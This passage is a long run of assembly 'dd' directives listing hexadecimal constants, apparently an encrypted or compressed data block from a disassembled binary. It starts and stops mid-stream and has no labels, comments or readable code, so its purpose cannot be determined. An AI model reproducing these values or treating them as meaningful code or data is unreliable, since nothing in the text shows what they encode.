81C6E1D5h dd 4EC5DEA4h, 0CC0CC0D7h, 0A7D81C38h, 1AD2872Eh, 21FB3148h dd 8B422062h, 0EB4C2400h, 0A93F148Fh, 2BD100B5h, 16BC667Ah dd 7D148C0Eh, 9899D8h, 0A5AE5B4Ah, 340F52h, 0A7B453C9h dd 996D4E7Eh, 0D2D18409h, 730B93h, 0FAAC0A2Fh, 0B1BA034Bh dd 543B4332h, 2B7CCAB8h, 0C9D1101Fh, 2EF764C0h, 0F0668D84h dd 92D93C42h, 4C25CD80h, 0F2CB3539h, 3C0AC00h, 893ACE20h dd 0EE5C0048h, 0A2E4A58h, 0F500A6D8h, 3F8276A7h, 0F63BAAFAh dd 642A0266h, 49920B86h, 0B8E73840h, 9809C81Eh, 45EE0700h dd 361B411h, 13A3EAADh, 75B808D7h, 2600708Bh, 0D95EDA05h dd 0AE808Dh, 0CB3FF7FBh, 5CE7C21Eh, 5D006EECh, 4DA12622h dd 0D55F67h, 0E54974AFh, 736347BBh, 31A06400h, 0D3A7F89Eh dd 27C00084h, 0BEA63709h, 77001850h, 0FFC4297Ah, 7A73697h dd 460AF351h, 624290EFh, 8E0032B2h, 6ABC8D64h, 0B82FC69h dd 4C060F18h, 0EEFD3800h, 0E1044A4Fh, 0E00904EFh, 3E658C80h dd 5A01000Dh, 764D8456h, 7100917Ah, 872C746Ch, 0E083E492h dd 0EDFC0095h, 9A0AE3D8h, 0A6796AA5h, 88A0E20Fh, 813BC02Dh dd 0DFB919h, 0FECF4CCCh, 0BF627D82h, 0D73E4800h, 93ABDC6Eh dd 0CB7B00B8h, 0D69020AAh, 0B11EF659h, 0E0000BEFh, 0DE567384h dd 578500CDh, 0C2D9F8FFh, 40074788h, 0E021D8B5h, 7D69D5D0h dd 94D0CF9Eh, 0C56138ECh, 9F7BCBE0h, 0DDF2C00h, 0BF5B2EEDh dd 219F4B6h, 0C8602038h, 1840D843h, 2C007148h, 531B140h dd 1C70C953h, 792276B4h, 0CECA5D80h, 0E3399262h, 7AECF00h dd 6B8620C8h, 2BC40F7Dh, 1F6272F3h, 83E183D8h, 0E39AF0C3h dd 6E4EA61Eh, 0A9D200F9h, 92B5BC57h, 28E102FAh, 0AAC29550h dd 0F196A960h, 3CAC0D00h, 8A71814Eh, 0C0031CF7h, 80D3DD0Ch dd 5936B656h, 0DD988440h, 8B258018h, 0FD9958h, 94AD1815h dd 1BCED1C2h, 46D94512h, 998BF540h, 0AA43F2h, 0BBC44C7Bh dd 6E375BE0h, 64478F01h, 414A7E45h, 0E50058BDh, 0A69CB31h dd 0F8E410F4h, 0D7D2D600h, 632C8526h, 360301BDh, 8F3D9798h dd 0C86C313Fh, 9100873Eh, 401CEEABh, 0F2949BEh, 0F4BF8436h dd 91A82A4Ch, 39C8E500h, 0F81DF075h, 6AF71489h, 0DE00D467h dd 0D40CD7B2h, 3800D630h, 754EAAAh, 55D2C63h, 0F8B1EF48h dd 7573C016h, 0B360400Dh dd 9DC09110h, 368038D4h, 49520585h, 69881FFh, 0A22F0DBh dd 0D23EC000h, 91774F81h, 2CEF0F3Ah, 5F2124DDh, 607A0C05h dd 0A93CC072h, 5C300ACAh, 0DF12E9A3h, 0D2B10C00h, 2376BB6h dd 0BF2D50B0h, 30403D3Fh, 7DF2FA03h, 0CEA97118h, 7A7A5F02h dd 8D460367h, 0EE48E68Ah, 0F7919C80h, 0E253200h, 0CA34F3C6h dd 0B0F61D73h, 52DD8098h, 0C93B182Bh, 0C6715E00h, 0E3F78C97h dd 0F3A206A8h, 707993B0h, 3A0D8903h, 0C8A6DEB6h, 782D1h dd 0EE3354F0h, 0E575B7F9h, 7EC97602h, 0C0788D97h, 3D20AB25h dd 0B881D6DEh, 0D3B501C2h, 0B7BEC41Fh, 4861AC0Eh, 4A790044h dd 216F7F3h, 693B27F6h, 0A88184B4h, 2F871B7h, 0F640C0D0h dd 0C23A0AAEh, 3BC00386h, 8645000h, 0EF17D3E4h, 80399739h dd 2824A0F4h, 0B0E74045h, 77990C89h, 4790C22Bh, 0B75CE301h dd 0DA3450CBh, 514CF0h, 95E0B596h, 39E3B69Ch, 0BF788A00h dd 23CB72A8h, 85100A9h, 1A0FBA37h, 0CA00B3F9h, 66DFAEFFh dd 706C85Ah, 0B7D5FDF8h, 64E3B3C4h, 2EBA03A0h, 944Ch, 0CD2B4982h dd 0F834E8h, 447E4D0Ah, 0EEC7BB41h, 111A1001h, 0C15B26C4h dd 58407E21h, 785F3DEh, 0A32A7749h, 0D7D3F0F0h, 0CF008489h dd 6D8F507Eh, 0B049C5h, 0FB1E6E27h, 195D9F86h, 90999DA0h dd 0B9334A1Eh, 3CECAA5Ch, 0F1EADA00h, 3ADE1EA7h, 0C880662Eh dd 3E0AB12Bh, 90B8AFBCh, 382C4238h, 95BE830Fh, 983AB558h dd 4692967h, 0BA52A3B9h, 0A5A0803Ch, 860019B2h, 0FAC96C9h dd 7DE5EFh, 0FB24054Fh, 0C2519803h, 3700A67Ah, 32B71E3Fh dd 1CC87EF4h, 0C068D060h, 78CC676Fh, 0E303ED7Ah, 0B05F9475h dd 70D498B6h, 5A62020Eh, 2A6F9F33h, 5560EF8Eh, 0D1D0C426h dd 0BA3ED40Fh, 6356C010h, 0EAEB0D37h, 0DB30384Ch, 0E1BF2Ch dd 889F0848h, 3B1E94B0h, 9A00C66Ah, 3A7A5AB5h, 7C8426BAh dd 0C92008E0h, 0BBAA6980h, 4D181Bh, 489F8A7Ah, 2C158CB7h dd 9AA25C00h, 306D8B97h, 0E2B9048Dh, 808F3F02h, 0D29CBA98h dd 552858F8h, 0F9B0E051h, 0B883993Bh, 0FA068028h, 4810DD62h dd 0C6E65C1Ah, 3D5B310Fh, 0FF7FC260h, 0E00F365h, 52B36EEh dd 9B2545h, 0CD8914Eh, 1D4A88D5h, 8B1CE100h, 0AD411F3Dh dd 0DB8F3909h, 4FAED80h, 0A31D7163h, 0C585B800h, 0A769B231h dd 0A27B00C6h, 77D9BD97h, 33E8DFA5h, 1B8E8000h, 4D83CA11h dd 2B7846h, 6CEB2A55h, 0A8D7F87Ch, 60B7C900h, 1E7026D4h dd 5783003Bh, 6675FEBDh, 310040A3h, 4950150Bh, 0F0604F4h dd 0DAA25B20h, 0E9612F2Eh, 0D0594AD0h, 9900EF54h, 0BA428E3Dh dd 16A7A0h, 0C866B171h, 29CE10A2h, 0B81F38h, 1C15D783h dd 0F7ED57h, 0D451F079h, 8D0F6B5Ah, 0F2458407h, 4CE029DBh dd 175D415Bh, 7F08052h, 67F89BA9h, 65B1F085h, 320399C9h dd 0FEA3691h, 2235F8FAh, 0A35200FFh, 6BFE5008h, 970074F7h dd 0CB617592h, 7C9065h, 47BDB378h, 254CEE53h, 49A7A400h dd 661B8933h, 9DC40035h, 8A814BBDh, 76261D4Eh, 5F00EE19h dd 330B962Fh, 0CCEF00E7h, 0D61ECEC0h, 53033712h, 978C44E1h dd 0D3B991E4h, 0F487E8h, 23548BEBh, 0BD61E67Fh, 779C3Eh dd 640B001h, 5876AAE3h, 1D1F5C6Eh, 60007CDCh, 0A0042AACh dd 0B10042B8h, 0AEA83AC9h, 0F88AC5h, 1DE16F69h, 0DC15814Ah dd 2A10A00h, 0C07916EBh, 7F07483Ah, 0EC80833Bh, 43709318h dd 9900F53Ch, 0D566DC5Ch, 0B0E5C7FEh, 4BC300FFh, 0A1263A14h dd 1900EA48h, 3FC85102h, 0B3035Bh, 6E6CE98Fh, 0DCA04FA4h dd 7ED20700h, 0ED0BFC0Ch, 3D4B01FDh, 30ADB01Eh, 8DF2707Ah dd 8C4DD13Eh, 1084BC32h, 0ED260068h, 30D658Eh, 0A31F9F0Ah dd 0C830AF93h, 3846736h, 0B45E650h, 0A7A0F63Bh, 0E8C6906Dh dd 2110963Ah, 0B080E447h, 7E44CCE3h, 85720014h, 48535287h dd 0C700B323h, 12C925BEh, 7F9DA3B5h, 0CF55038Ah, 0FE15A110h dd 524376A0h, 807E6E30h, 300C798Dh, 958C653h, 0E0E78CBAh dd 46095575h, 8EE6E7ABh, 20E50F22h, 0C3C726FDh, 20705053h dd 0CE6337E9h, 0DE5080E8h, 0A4F80B44h, 5D044518h, 0E1E68h dd 516F818Bh, 0B93CFEFBh, 0E0A8F738h, 0D4855C0Eh, 0C6820054h dd 0A6B5AA6Dh, 2D054353h, 55AB9E4Ch, 4A27C8C0h, 6E0C0F86h dd 2A04578h, 80A61156h, 85EAE800h, 0DC2BF205h, 347F3D65h dd 6B8C1280h, 0E49560D3h, 1DF5B000h, 3BEAB10Eh, 0EE4E9811h dd 5224037Fh, 0AC5E237Ch, 0E6A9B2D7h, 543D3048h, 7E5D6D01h dd 270E9683h, 0B839C03Eh, 0EB00AE40h, 9F0F126Bh, 0FC687B4Ah dd 151E78C1h, 8C7D31D1h, 93010A00h, 0AB30BF32h, 1E68B30Ah dd 3F9C94D0h, 48A8C381h, 39EC556Ch, 0A6D9000Fh, 17E3029Dh dd 0E5027E7Ah, 0A542F70h, 720060EAh, 0F11B1CE2h, 7628C0FEh dd 0B19A7BFBh, 0BE002492h, 158BEA7Ch, 12A6DD93h, 6D7FEFh dd 4F28D80Bh, 8E1EFEFDh, 0D287CBABh, 0C180E53Bh, 0F1A0B4A2h dd 0DAADE8h, 0E985DCCCh, 4575E460h, 33D87C14h, 0E85A5068h dd 234985F0h, 4E740A6Ch, 0FA9798E0h, 0EC9BA406h, 0E69011h dd 0C1406B17h, 8C545E31h, 80C3192Ah, 0F6104907h, 0FCF0D13Fh dd 0AF76B0h, 0B9058C6Ch, 0AD1A40E7h, 68CB6EF8h, 0B83D43B7h dd 55C92Bh, 0B23D160Fh, 0BC8865F0h, 2E82430Eh, 454FC05Bh dd 52DE95h, 0F550E31Ah, 0EBFEB234h, 35580B00h, 7D2B5141h dd 60CE2D6h, 0D18510FDh, 383C50E2h, 1E81856Ah, 0D11D25B6h dd 5D557281h, 708010E7h, 0F23EF77Ah, 49006EA8h, 23C2435h dd 176C20Bh, 0BEDFE346h, 9F0DA0D1h, 6E6C10A1h, 0F37C5D03h dd 379288EFh, 753E1C71h, 0D3B00376h, 5803308h, 7C38213Ch dd 4745807Ah, 798A1FEh, 0C048DD3Ah, 0B5E58491h, 100276Ah dd 3E2A74Eh, 0EE91707h, 7FEB7BF0h, 55334A0h, 87EBAC97h dd 0FCD09A39h, 92726790h, 59F800EAh, 21F5B317h, 0A9C0F419h dd 7324EF9Eh, 0FB550C2Bh, 0DCF0E838h, 97007D76h, 3E41E7D0h dd 7B1BAF32h, 121C0FCh, 0FF8FB023h, 66121A00h, 0B3D14B41h dd 0E8BD0059h, 5C03C658h, 6F03E52Dh, 11FDB05Eh, 8970893Eh dd 188010E0h, 52F45F36h, 0FE600C19h, 97E1D730h, 0FBC73745h dd 80810041h, 0F70E3AEDh, 1F6C0F8Fh, 21E2558Ch, 527C82h dd 94EDC407h, 4035ACDFh, 9716FF02h, 0C04EA4D8h, 77A2C01h dd 0A6769AE7h, 0C03CC0A3h, 0D37B0DD4h, 2DC8FB00h, 3FDCE6FAh dd 27E201C7h, 50997593h, 55FC704Ch, 0E819600h, 3706CE36h dd 6A881DEAh, 0A24D8E0Dh, 31945C0h, 0DD03DF6Bh, 4F8D2BFAh dd 0C892E8CAh, 0DC2F0941h, 80FF6Ah, 8278EEB5h, 0E6C4610Ch dd 4A78C2h, 8354FB98h, 6514ED88h, 0F4968A00h, 5FC00912h dd 0E2763AFFh, 0DBAC0380h, 605CFC6Ah, 8D3D78E4h, 6CE3801Fh dd 8ED16D4Bh, 46556D6h, 1C88D4A2h, 4E58D704h, 106660ADh dd 9DFA84F8h, 1517011Fh, 0F07120B0h, 0DC28C070h, 0DDA6B628h dd 7E0FE27Eh, 809F3F15h, 720813A3h, 2FA70736h, 0E0E9D5F6h dd 3BDC8455h, 74068518h, 906F40h, 13C4E445h, 0C87C913Ah dd 0D8F65801h, 54863009h, 1F59BD3h, 0D90AD120h, 4E271860h dd 1F8F0820h, 0CDA5602Fh, 6A309BC3h, 90E5E10Eh, 98AD3FA0h dd 0D5D3BB0Fh, 4C6366C0h, 0BD00D2ACh, 4D0503C5h, 38711AC6h dd 5F8F6DCDh, 1058076Ch, 497F8836h, 4EDA20h, 7AE68219h dd 138BD641h, 0EF87EA00h, 32050B5Dh, 0FA6D7322h, 4D9107B1h dd 0C0AF35C8h dd 0F3FCF871h, 16DB30A0h, 7400D27Bh, 0F485FFABh, 544A3h dd 0A06A6CD1h, 6F3ED57Ah, 0D43DCCE3h, 37387B60h, 0F7D3F62h dd 92DD5D88h, 440178E0h, 3500FBBEh, 618BBD9Ch, 0CABB098h dd 744A1ED3h, 79C01D40h, 7B86DE77h, 0E1EB00BAh, 0FFA1F340h dd 843FB5DFh, 198701DAh, 7F1B2CD1h, 0E2D9BDD4h, 352F0014h dd 692F774h, 2B0EE915h, 401CE59Eh, 9AC0897h, 0CC070180h dd 61644D6Dh, 1D9C5065h, 0F83FD257h, 1881E19Eh, 28BCCEDAh dd 72621A01h, 8078E593h, 35089B10h, 3A73497Bh, 0FD01AACBh dd 9E916E0h, 4D418084h, 95992539h, 1BC83C34h, 0B5142C57h dd 6A1C781Fh, 0C8F300FEh, 8CB3F42Bh, 0AE7E1A02h, 33A52CC3h dd 0A0BD18E0h, 0B69A0A03h, 0CD2AE1Fh, 133BAD99h, 79000251h dd 0BF44363Ch, 3A883A93h, 0B40AE684h, 17C6361h, 89AA4E98h dd 0FF09CCD2h, 0C12CF848h, 0DD4CF666h, 379862F8h, 0D0C832ABh dd 5CADC6F1h, 9C36A03h, 1BC33CDh, 83AED1D0h, 20B5A14Eh dd 0EA60F114h, 992039B0h, 0EEBBEA51h, 0F88A22C4h, 0B9801607h dd 0C3703411h, 21B379h, 944B63F5h, 0B1CCCFA7h, 699833Eh dd 0FC1F8B6Dh, 54642C50h, 10A8312Ah, 0A03824AEh, 0DD0006FEh dd 9FE5D7BFh, 0B0417660h, 86B403E0h, 0E189CD9Ah, 84F89DABh dd 0F0C4A912h, 214949E3h, 20824000h, 0D0C0C85Ah, 2819EFE9h dd 0A8D4733Bh, 32FC98h, 86473929h, 9944022Bh, 1A256300h dd 0EF1598DBh, 49A90369h, 0E90B9C52h, 96DF4080h, 9ABB203h dd 313A78h, 0C553DE71h, 5A431ADDh, 3000E77Ch, 0AE085C8h dd 632056AAh, 5D078961h, 3B861180h, 1E004A72h, 19E78CE9h dd 9D556E0h, 1846F776h, 27987801h, 1B39805Bh, 0AEDBD2CDh dd 0E5079F6h, 0A0A32AFFh, 4BBC8820h, 0BB2EC902h, 4205AFC8h dd 0F461D169h, 4980643Ah, 0F6DC23FEh, 9BF86759h, 5B000470h dd 1D506319h, 0A1B2A148h, 2034E4F8h, 0D4651064h, 3610184Eh dd 0FA1959F1h, 9AD9003Ah, 67918F24h, 82790246h, 73ECC704h dd 749CAD66h, 89901FBBh, 827200FAh, 0DD3E6367h, 1819D2C9h dd 3E47D108h, 605289FFh, 4CE84E28h, 5501802Ah, 0AC0F03EAh dd 0F0223Bh, 368B7BDAh, 0D580CAh, 0DF08740h, 8C36857h dd 0FAF3E04h, 0D88178E9h, 0F80063A0h, 0E28B0789h, 7E4447Dh dd 466898B6h, 0E96D04Ah, 201847E9h, 7520CF15h, 0C09F0073h dd 52613309h, 0B800AF03h, 807950EAh, 99BE259h, 0FF8AD85Eh dd 0A2A18C20h, 0AD1EE8B6h, 3240C796h, 0B7DE9DF8h, 0EE850290h dd 896BD2EDh, 64B81880h, 5700DEBCh, 19CA333h, 9D8E337h dd 0DB5D2B2Eh, 62C62A80h, 181B1B84h, 0D239A48Fh, 996C4841h dd 649639DCh, 2E2E62Eh, 6F6D70B5h, 0BB1F8F80h, 3626C459h dd 5FC50461h, 417786h, 7F0B2C0Fh, 14E4A583h, 1804824Ch dd 59217E42h, 0EA290050h, 3F677C5Fh, 0CC05B584h, 1928996Ch dd 4F4E0081h, 0D94A04Ch, 4B625F6Fh, 10573141h, 0E57603BCh dd 8473B600h, 1FF3ED52h, 1FB7560h, 69C0F168h, 8062485Fh dd 8CA79839h, 30ED783Dh, 0D5F9E68Eh, 860EE96Eh, 0B55835E7h dd 0ECE4CA90h, 8553B140h, 377324F3h, 0BE3E3C34h, 708ED614h dd 0B040D53Ah, 4105660Fh, 8FD7A0B5h, 7A91309Bh, 9137859h dd 9085F0CEh, 4A6C9010h, 40A94D44h, 700AD7Bh, 0D225F7DBh dd 704CC288h, 8DA700E2h, 92B5FAC7h, 3A1A239Eh, 393072F5h dd 9E01A98h, 0DC312EE1h, 40002C13h, 93D58FF8h, 0AB417800h dd 2402BF91h, 0C1B85884h, 0C9B51E00h, 0FF4EF768h, 3CB07890h dd 1D1CF200h, 923F086h, 4A3D026Ah, 0EA65CC37h, 0C8EBF860h dd 0EC83AD88h, 0FD270F57h, 3E1C0482h, 0BE00A13Eh, 0C5F34970h dd 6629D63Bh, 3A0BF498h, 0DA182229h, 0E12AE0C7h, 5DF214BFh dd 6D826840h, 0C4A0E389h, 0EC1F7635h, 0A53B510Fh, 0C8B80054h dd 159EDE5Bh, 0ECFE8969h, 0B17A2401h, 70773899h, 0C8052604h dd 4C28480Ch, 5A474080h, 6ED09C1h, 28271F3Ah, 1D8330B1h dd 2F001C94h, 0DC554269h, 3D664C3Ch, 90569AD4h, 0F02A2058h dd 848E3080h, 37A2A7A1h, 13CDBD01h, 244893FCh, 44CEB8EBh dd 0A6630BD3h, 3C1A9FD9h, 599344C0h, 10BA24A1h, 0C47966h dd 909D2E35h, 0E8A954E1h, 83DA4C38h, 69EB4B01h, 0D3D4E9F4h dd 7873F050h, 0E3FC6Ch, 53801E89h, 0A203DAC7h, 0C8D16E05h dd 38D81FE8h, 8C4491FFh, 6019BB8Eh, 9300D4F0h, 0F53C67EFh dd 1FA7903h, 6CBC84BAh, 33D18DC1h, 0B40071CCh, 8AB52190h dd 2E99824Eh, 0C324A7B6h, 6B911AACh, 509CF1B5h, 726DB47Ch dd 96634E2Ch, 0A0B9480Bh, 0E1602E28h, 35BB0FE9h, 19427D65h dd 8464782h, 6B096DA0h, 5217FA0Bh, 0B0882B7h, 7F3901E5h dd 2E4C3399h, 6F4ED489h, 8D44E043h, 0D9BD8Ch, 17B6D732h dd 617219ADh, 82E06748h, 482E208Dh, 1EC0394Ch, 0FC980Fh dd 0ADA27BE5h, 212E859Bh, 4B9740EFh, 0CC4CA022h, 287A08F0h dd 4D0372B1h, 0F090B36Ah, 5CFF1107h, 95802C21h, 36D49802h dd 0CB3CCF4Ch, 0ADF8103Ah, 0A40403DCh, 12EC4031h, 0ED0D4F98h dd 35F26004h, 0C88D724Eh, 0AC006833h, 0C317D09Eh, 0BEB84E7Eh dd 0F28A8099h, 0C51CC01Ah, 0DFDCB9B0h, 136EA35h, 65879F56h dd 0D5F89598h, 9251B81Bh, 0B498AB7Ch, 413660C5h, 0ACA6B735h dd 34169900h, 113731C4h, 282705Ch, 0AF9E7509h, 0D482B64Fh dd 0D100D32Bh, 21FDD4Eh, 78B90EA5h, 4841AD05h, 4895F34Bh dd 36847EACh, 0D4A40686h, 47F58465h, 11581FDCh, 0E61983C0h dd 0B5E01122h, 10CC5848h, 44E42C6h, 40784D10h, 2FF169C0h dd 0E86801D0h, 0FB42D233h, 0CA3029B6h, 0B104444Bh, 8E07C862h dd 0E00048E2h, 928CB383h, 0C99302E1h, 5F378407h, 183F40ECh dd 0C631E5E7h, 858F6000h, 5BFF540h, 0E8CFBD15h, 5D8C821h dd 0D30FB701h, 0F5350BFCh, 3B8CC9D0h, 34847090h, 8001F015h dd 41CAE544h, 196A1B25h, 0BC0CC0ACh, 16E1EA00h, 0AF66C1F5h dd 5DD0530h, 0CC68A56Bh, 9A0026ECh, 0B1DEE033h, 0B68640h dd 0CB92C196h, 93A6DAAEh, 8728F700h, 0BB3163D0h, 0C2B0BF2h dd 9832D2B2h, 9758E080h, 0BA00B6F3h, 40259592h, 933E8249h dd 1D1154h, 39C0E131h, 0E455DF35h, 5E9C0245h, 0E991C215h dd 5AD2CC40h, 8F1F990Ah, 0F68EA0C9h, 0CC010017h, 2EE58098h dd 0AE8EB0Dh, 0BDAC1EC5h, 0B65F480h, 257D51A6h, 28019914h dd 79B530C4h, 17F1A84Eh, 440E93B6h, 0B148E5ECh, 0C8583024h dd 6E02DAEEh, 8527B41Dh, 0EC4645h, 8ABA4FA0h, 75D772D2h dd 93DCCD49h, 0BBF86820h, 0DAB80599h, 63E1643Eh, 0BDEA0980h dd 4419BCABh, 7DB54069h, 98268D68h, 0E48CD8D9h, 0AD21E0h dd 972B8809h, 49A968A6h, 14B6DE16h, 89C4402h, 47D100CCh dd 0C20485C0h, 9869F2BDh, 10F10C98h, 6DB98Ah, 705A035h dd 108D6h, 0EDC06184h, 3A8C5E89h, 2EF3BA00h, 203E0A8Dh dd 93B5ECCEh, 367F888Ch, 5C881093h, 0D5F5006Eh, 9093F17Eh dd 0A5020F9Bh, 0F09739B5h, 39A0ECFEh, 0CC9DE547h, 1943007Fh dd 0D0F8E17Ch, 6621F8C5h, 697E9040h, 481FB5h, 64D47AA0h dd 0A5C38212h, 39085D0Bh, 62288FE6h, 421EDCD6h, 25F844B4h dd 0E8AEC2F8h, 6127D125h, 44635884h, 5BF888E5h, 5E8071DDh dd 7E358E10h, 241A773Eh, 38A94696h, 4CB85000h, 0CC77BED2h dd 0A798CA03h, 0C0E54A28h, 991D6561h, 32870914h, 509484C4h dd 0FD8E63h, 751001A1h dd 242B1487h, 6D89731Dh, 95C26282h, 58184EC4h, 8D8E24CDh dd 0E00C04D2h, 7FC646FFh, 7B487779h, 0C7B20079h, 815DF95Fh dd 789659E6h, 0BDE08824h, 0B8979084h, 0A40C737Eh, 2AF50EB8h dd 1C07C08h, 45DB167Ah, 15317000h, 68174CCEh, 0C6EB3AADh dd 0A4290B07h, 998245E4h, 3872F8h, 5FFA587Bh, 18C2C3h dd 6DBD0B44h, 10A06CA3h, 9502C00Ah, 98827473h, 90E7721Eh dd 8877C5E0h, 0A009914Ch, 24D2F7A2h, 0F821F68Ch, 4AF4489Eh dd 80008E48h, 0C830232Fh, 0C68902BBh, 0B51649AAh, 393B9841h dd 4DBF00BCh, 6A54D038h, 6BBA05F3h, 30D8782Dh, 0FFF8CF94h dd 8025035Ah, 6CD04713h, 3917A9Ch, 12C9CE25h, 0CAC065D2h dd 0A2F6BBE1h, 3EB8A304h, 1CC190AEh, 34300F2Eh, 0ADA1C1DCh dd 298A508Eh, 92A001Ch, 1C33ACDEh, 0CABD0024h, 0CB17432Bh dd 0F041FCFh, 6F68D361h, 0A50BF0E3h, 0ED0038F2h, 857C4D67h dd 3BADF60Ch, 6FB11Ch, 0C3A98BFFh, 31D39AA7h, 0DC712D4Bh dd 0A03D8C66h, 809351C7h, 7FDD6F3Ah, 4E00427Fh, 0E161C524h dd 18860259h, 80D8A1FEh, 5654F714h, 749C21CCh, 8A6BDD83h dd 0D645A8D5h, 14D00078h, 6533FE84h, 0CB3CB5C2h, 0AF96058Ch dd 0CC580E49h, 27A3BBD0h, 0A0186980h, 92C3751h, 0B591D032h dd 2DF165CFh, 4A782010h, 73A5607Bh, 3BD43E75h, 83A6E202h dd 44CC7D4Dh, 1BC1F44h, 59681AF8h, 0F4738B16h, 0F33CDBD3h dd 0FF4A013Fh, 8665854h, 20323442h, 751C7C44h, 9DF7B40Eh dd 80980E6Ah, 0D84EE80Ch, 304F4EE0h, 514BA57Ch, 7941238h dd 857FD975h, 409863D0h, 4F609ABAh, 9C2425F6h, 0EA18F860h dd 18787A96h, 29C862A8h, 0B848DDC6h, 0E80E17BFh, 57BBD7h dd 1E14CA64h, 0D47E008Fh, 9CDE54B3h, 0D2315F87h, 6A4DC19Ah dd 137873D2h, 372C22D7h, 0F158E920h, 0DB60113h, 0DA2DCF5Ah dd 2052706Fh, 0E66AB116h, 23A48Dh, 2B4A500h, 0F5F49BDBh dd 9200917Dh, 0ED1E609Dh, 90FA25A6h, 823E0051h, 0AC229AC8h dd 7A252646h, 0A564203Ah, 7D383Fh, 0CF786245h, 9AEDA85h dd 4C5C805Ch, 0FC65C078h, 1703EE08h, 854BCDh, 2AA250Ch dd 0BE17AC0Fh, 0BC306FB2h, 0EEC559AFh, 7C1300B6h, 0D2ADB996h dd 0B8AEDB1Ah, 7BAB9B10h, 58F01271h, 1F0CC8D0h, 7EE5DD02h dd 0C03FA604h, 490AD9Dh, 0F652A959h, 93E0A421h, 0AA3DFDF8h dd 8C37808Ah, 38E05E2Ah, 21FC0933h, 0E8186851h, 48BC8509h dd 3980D19Ch, 83912069h, 44B0AC9Ch, 0F24A8054h, 5CD3102Ch dd 54B1309Ah, 5E62D421h, 3A276E16h, 0AE1C2401h, 0C0253E49h dd 681D3430h, 6EE481CFh, 9B99C7C0h, 0C100D777h, 55575E0h dd 16FB83Fh, 3DEBFF1Fh, 6983ADD4h, 64518B7Ch, 0E45B005Ch dd 0C44F5307h, 3F000AD7h, 24F2A7F6h, 0E6F9F013h, 5CA2E0C8h dd 9FC0E4B4h, 1CF6EB04h, 0C935B2Ch, 46177F40h, 6E12DFAh dd 1824FC38h, 8840C44Eh, 0ECFDCC3h, 7BB1004Dh, 3C24F1F0h dd 685B72D5h, 0F4187063h, 0A3C680E4h, 4F74F920h, 66C820h dd 0F1B16923h, 187FFE40h, 0CCF4A92Eh, 0FD997060h, 0DB2C2C21h dd 84AE9150h, 30137BAAh, 5846DDB4h, 9B5AD00h, 7EC168E5h dd 0F96E04C5h, 0C1FC821Ah, 32449894h, 0F4AE170Ch, 10546C3Ch dd 1F111A01h, 8291644Dh, 48191927h, 3DCAC9A7h, 0A88E29D8h dd 81A8DF00h, 456F0D0h, 0FA0160BBh, 2D0CDD14h, 48019F34h dd 18B6ECA1h, 0C3A8989h, 0C60B5C20h, 211C09D1h, 58D88962h dd 31AD671h, 9C8647CAh, 5BE0032Fh, 7A1D9432h, 0CF00A779h dd 0E68236A2h, 2AB2EF9h, 0B1CC5058h, 79789001h, 741C8985h dd 872F9C26h, 71B492h, 0B9E01884h, 0E11F94CAh, 92C90093h dd 0FBD20B7Ah, 5B4BD02h, 404E601Fh, 0C063218Ch, 8FA0C5B9h dd 0D51F67A5h, 708B045Bh, 4534103Ah, 27D400D3h, 0EE7F5DA6h dd 0BE17B06Eh, 38082B8Ch, 49AAF0Ah, 0C409D453h, 50EC40D1h dd 70BE00ABh, 0A783BDA5h, 0E112A120h, 189093B4h, 0F2AA0Bh dd 9AFEA9DFh, 430ABA4h, 70533805h, 88376934h, 0B4F39304h dd 7199DD09h, 75482046h, 0CA6E10FCh, 80129825h, 0F2FD6EC0h dd 90C64600h, 28C39309h, 2B7B000Fh, 63E4A9D8h, 1195B2D2h dd 9808669Ch, 3AC49496h, 420CB4h, 37783493h, 0FB10A42Ah dd 56009AE8h, 0BD60CF33h, 2547DCD2h, 5090824Fh, 6AF41430h dd 9315CC00h, 2B5FA4E4h, 0F7CB0069h, 9F4CE52Ch, 0F75618Eh dd 0B2F66F71h, 0D48C75E1h, 75024A9Ah, 90E6CBA6h, 65CDB68h dd 0C1CF0F86h, 208A484Ah, 40B70A1Ch, 0FD8F3598h, 250FA585h dd 271FCB03h, 0F590AA87h, 1E4D720Ah, 0FFB6A1h, 5AF36C0h dd 5C93AED1h, 57932505h, 629EB030h, 47F00743h, 0C06B5012h dd 42B17A9Ah, 9902BE00h, 1E83E6C1h, 605C91E5h, 9E5E97CAh dd 444BEA00h, 0C539E199h, 19D600D4h, 93494651h, 8300FCD3h dd 0B3C0796Fh, 17AEDC2Bh, 74DB47C2h, 0CC0A09Ch, 0CCBEE738h dd 827309F8h, 8F43223h, 51CEF4FFh, 849C017h, 8A80366Ch dd 463725D9h, 76971E7h, 0D43FE6C4h, 0FEBCC02Ch, 0BB162616h dd 0EC21C5F8h, 8850603Ah, 3D4B4C34h, 0BB80AADFh, 46497E4h dd 2D26E59Ah, 0C51204ADh, 0A6B8A4h, 0E44B35AAh, 8B7C3D95h dd 0D74100Eh, 0E1A8A540h, 0FE8E098h, 5077BEADh, 645A3B09h dd 7634F400h, 0E44BF61h, 0E86801B2h, 0BC9DD6B1h, 1069C5h dd 8CBA9B41h, 3B21BBB3h, 0D459C366h, 14103B89h, 0C707931Ah dd 0DDF4A649h, 0A30D8AF1h, 5A4DA340h, 96D20935h, 0C8303999h dd 722E6219h, 2008FC43h, 896D0EB9h, 0A5C700B1h, 4C28BEAEh dd 1C550180h, 0B9573854h, 21F8E05Ah, 967DFF04h, 0B898A441h dd 1C3A227Bh, 734F5000h, 0A95149F1h, 0F2E20074h, 2E61BD1Ah dd 6E0ADEECh, 0AC19655Fh, 7F77BB81h, 8C613AE0h, 7580E839h dd 310E2A40h, 1AFFAD27h, 0A8C6E0h, 0CBDEA338h, 0B5B031DBh dd 0FCC8A74Ah, 1B8C9268h, 31344339h, 3CEC08Ch, 8008240h dd 0D02AF3D2h, 1CA4A73h, 9AA65F6Ch, 401BA58Dh, 9936CC98h dd 1F415Ah, 0DBC1A026h, 7EDB6758h, 0C9D95159h, 17C4460h dd 705DB546h, 384D4FB3h, 218D050h, 0DB9885FCh, 4BB0ECBFh dd 0B15C82ACh, 11C1F406h, 791A6C64h, 0F0359C4Eh, 62CFF862h dd 41101AE8h, 98D049F0h, 549F00C8h, 0AD0A0BE2h, 33041590h dd 74264F07h, 0AC00E0DAh, 0FFA2C8BEh, 0D8F21D19h, 47381492h dd 2265AFECh, 5B094B60h, 53FE8150h, 0C0B7E0BAh, 930E0C9Dh dd 61182D3Ch, 19DDEF95h, 0F6B0243Ch, 7A023BCAh, 0C4D63E26h dd 0A47904E5h, 1E0957A8h, 318223B4h, 98C8A640h, 12AC990Bh dd 